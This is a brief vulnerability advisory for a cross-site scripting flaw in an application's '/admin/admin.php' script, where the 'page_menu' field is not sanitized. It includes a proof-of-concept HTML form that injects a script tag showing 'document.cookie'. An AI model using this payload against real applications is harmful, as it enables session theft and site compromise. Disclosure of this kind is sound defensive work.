Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/admin/admin.php" script to properly sanitize user-supplied input in "page_menu" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/admin/admin.php?action=edit_page&id=1" method="post" name="main" >
<input type="hidden" name="page_title" value="page title" />
<input type="hidden" name="page_menu" value='descr"><script>alert(document.cookie)</script>' />
<input type="hidden" name="id" value="1" />
<input type="hidden" name="page_content" value="some page content" />
<input id="sbmt" type="submit" name="submit" value="Modifier" />
</form>
